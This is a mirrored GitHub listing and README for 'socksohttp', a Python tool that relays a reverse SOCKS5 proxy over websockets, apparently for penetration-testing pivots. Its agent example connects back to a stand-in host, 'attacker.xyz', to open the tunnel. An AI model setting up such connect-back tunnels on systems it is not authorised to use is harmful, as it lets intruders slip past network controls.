https://github.com/skelsec/socksohttp

Socks5 server over Websockets
https://github.com/skelsec/socksohttp

Last synced: about 2 months ago
JSON representation

Socks5 server over Websockets

• Host: GitHub
• URL: https://github.com/skelsec/socksohttp
• Owner: skelsec
• License: mit
• Created: 2018-10-12T22:20:24.000Z (over 6 years ago)
• Default Branch: master
• Last Pushed: 2018-10-17T17:55:08.000Z (about 6 years ago)
• Last Synced: 2024-08-03T17:12:19.894Z (5 months ago)
• Language: Python
• Size: 184 KB
• Stars: 40
• Watchers: 2
• Forks: 4
• Open Issues: 1
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-network-stuff - **33**星

README

        
# socksohttp

Socks5 server over Websockets

# IMPORTANT

Project is draft, not fully tested.  

Do NOT I REPEAT: DO NOT use the master branch as it is most likely will not work! I'll set up a semi-stable version soon in a separate branch

# Prerequirements

Python>=3.6  

websockets  

# What does it do?

The same script has two modes of operation: ```server``` and ```agent```  

  

```server``` will set up a websocket listener. One or more ```agent``` will be connecting back to it.  

When an ```agent``` connects the ```server``` will open a TCP port on localhost (one per ```agent```).  

This TCP port will act like if it would be a Socks5 server, but the actual Socks5 server will be running on the ```agent```, the ```server``` only relays the incoming/outgoing traffic to and from the remote Socks 5 server.

# Help

The script can be run in two modes: ```server``` and ```agent```

## ```server``` mode params  

Command format: ```socksOhttp.py    ```  

Example command: ```socksOhttp.py -vv server 0.0.0.0 8443```  

  

  

```-v``` is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!  

```server``` is to run the script as a server  

```0.0.0.0``` will make the server listen on all interfaces for incoming websocket agents  

```8443``` is the port the server will listen for incoming websocket agents  

## ```agent``` mode params  

Command format: ```socksOhttp.py     <-p proxy_url>```  

Example command: ```socksOhttp.py -vv agent ws://attacker.xyz:8443 -p http://127.0.0.1:8080``` 

```-v``` is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!  

```agent``` is to run the script as an agent  

```ws://attacker.xyz:8443``` is the url of the server the agent should connect back to. Ovbiously replace ```attacker.xyz:8443``` to your server's address.  

```-p http://127.0.0.1:8080``` optional parameter, set it if you need to go trough a HTTP proxy